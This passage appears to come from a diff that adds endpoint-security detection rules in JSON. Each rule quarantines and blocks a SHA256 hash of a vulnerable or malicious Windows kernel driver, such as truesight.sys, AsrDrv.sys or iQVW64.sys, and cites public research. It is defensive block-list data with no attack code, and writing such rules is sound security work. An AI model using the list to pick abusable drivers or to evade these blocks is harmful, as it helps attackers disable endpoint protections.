+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982659Z",
+  "creation_date": "2026-03-23T11:45:29.982661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "448a507774886c1745beaa86cd0867d93f142f5d2b58d452c5a8250d93359779",
+  "comment": "Malicious Kernel Driver (aka wantd_5.sys) [https://www.loldrivers.io/drivers/3277cecc-f4b4-4a00-be01-9da83e013bcd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea04c9ef-ec1f-572e-8253-2c686726e25e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819908Z",
+  "creation_date": "2026-03-23T11:45:31.819911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbc2599da29472e0d376ee3dcd887d3b6eaedddd028f0a7eb22e78185d156ebc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea04d2f9-91af-56b9-91cf-a9e326868140",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462555Z",
+  "creation_date": "2026-03-23T11:45:30.462559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d03a01257e156a3a018230059052791c3cde556e5cec7a4dd2f55f65c06e146",
+  "comment": "Vulnerable Kernel Driver (aka AsrDrv.sys) [https://www.loldrivers.io/drivers/213676bb-ffb9-4d0d-a442-8cefee63acc1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea18466c-3020-5fcf-93ce-2927f5a8a946",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823283Z",
+  "creation_date": "2026-03-23T11:45:31.823286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ef85f011947ad77f258a42705c392e9ad9de97e7b4f69f91fb124230e9218bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea1d568f-49c2-5386-998c-4d2c97bdd9a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141006Z",
+  "creation_date": "2026-03-23T11:45:31.141008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141014Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c292ad99577e588b0c252a171b5fd1e708c5f29f2625cb9c2c91077ef768e2a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea1f40be-64ac-5685-971e-b4ba12436268",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828668Z",
+  "creation_date": "2026-03-23T11:45:30.828670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d4e9ba2a651657a68ee5b97e3f648e2b3670eea824edf5a07eb39c1a6dc4beb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea21a4cc-4d9c-589c-8ab9-284c5d2fdd35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618390Z",
+  "creation_date": "2026-03-23T11:45:29.618392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618398Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84df20b1d9d87e305c92e5ffae21b10b325609d59d835a954dbd8750ef5dabf4",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea2367f4-d834-5ab0-81ed-89f0fe314e67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459793Z",
+  "creation_date": "2026-03-23T11:45:30.459797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fba2584bb4fb801f322e3a63253ffac36a76d9dc5f0a4747746b0791e2a0d0b",
+  "comment": "Vulnerable Kernel Driver (aka Driver7.sys) [https://www.loldrivers.io/drivers/9ca73d04-3349-4c16-9384-94c43335a031/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea3824d0-459e-522e-80a7-8600ae511bbb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477490Z",
+  "creation_date": "2026-03-23T11:45:30.477493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ca586b49135166eea00c6f83329a2d134152e0e9423822a51c13394265b6340",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea4e71a1-fedc-5dfa-baec-634bfd0ce84d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829301Z",
+  "creation_date": "2026-03-23T11:45:31.829305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829314Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "723b21973a67f54ac06570f3e8dabebc5feb346a478becc16093c3d76cf67200",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea4ee273-ed33-5c08-b850-cd8a2daa4ad2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144670Z",
+  "creation_date": "2026-03-23T11:45:32.144672Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144678Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f43f4251be4d72dd56c91bf6cce475d379eb9ba6c4dda2be3022ea633d5e807",
+  "comment": "Malicious Kernel Driver (aka windivert.sys) [https://www.loldrivers.io/drivers/45a31a17-f78d-48ec-beba-74f6bfc5f96e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea5ca6dd-98ca-5d69-ab28-6637260b6945",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816782Z",
+  "creation_date": "2026-03-23T11:45:31.816786Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a531eba3777600578d44166c38161efa9099a994fb80156ef605f4d2cd4025c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea61d637-69a7-54d6-a938-7203bd836008",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141345Z",
+  "creation_date": "2026-03-23T11:45:31.141347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d60bd5f693f32e13add78e5afb7f733fbe031afa66d93b37eb71afa3542059b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea6816bd-cf40-5d2f-b1cc-77ff5bf6792a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613989Z",
+  "creation_date": "2026-03-23T11:45:29.613991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc",
+  "comment": "Huawei vulnerable drivers (aka HwOs2Ec10x64.sys and HwOs2Ec7x64.sys) [CVE-2019-5241] [https://www.microsoft.com/security/blog/2019/03/25/from-alert-to-driver-vulnerability-microsoft-defender-atp-investigation-unearths-privilege-escalation-flaw/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea749a9a-c1dd-59b1-a78a-75dd6502ed98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157067Z",
+  "creation_date": "2026-03-23T11:45:31.157069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3a55aba512689dcac863c407406500e51c2fc6a50235debdca38d70a174eada",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea74dc83-cace-5bb4-9440-2f62eb547b20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836717Z",
+  "creation_date": "2026-03-23T11:45:30.836720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7dbca9a9907d361d4ccf6883644fee00f5d13436bedfd27598fe07ee1683f6ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea7e0beb-6f99-5ccf-b96c-d85b5be78d10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828820Z",
+  "creation_date": "2026-03-23T11:45:31.828822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828827Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef2bcf2525e7512880825629aa38263bd8b836dfafdf2caf84963486c9be4bed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea7f9e9d-e283-5722-bd3c-8539f49b3086",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153789Z",
+  "creation_date": "2026-03-23T11:45:31.153791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153796Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8109fb3d71bf47d43e8715d5362e526cd08d023aa606eb75e39a7b2e5d3e879",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea899b1c-8c79-5514-b746-89f9c9719bac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140064Z",
+  "creation_date": "2026-03-23T11:45:31.140068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140077Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d976f2023dfabea845fea85ab7427c3293196bae53ea20efb2ba1e08fb492b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea8b8667-a624-5a33-82ea-88cae4c83610",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816099Z",
+  "creation_date": "2026-03-23T11:45:30.816101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dba8db472e51edd59f0bbaf4e09df71613d4dd26fd05f14a9bc7e3fc217a78aa",
+  "comment": "Vulnerable Kernel Driver (aka sysconp.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ea91ff8d-4a04-50c2-8e29-e5f4d67e7ff5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972405Z",
+  "creation_date": "2026-03-23T11:45:29.972407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972412Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e80597ea0d75e9198428c81ca5b4495bf11922dd29852a0a2e63998e36857746",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eaa010e5-8994-5f69-a730-bbca1c3fb08d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155310Z",
+  "creation_date": "2026-03-23T11:45:31.155312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155317Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9582cac23cf8bd3a3d66c09195ab6b0389b3fe35490e3a4db97f6338dfe3948",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eab9a02f-ff01-5a0e-b710-59ec18ab51d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151469Z",
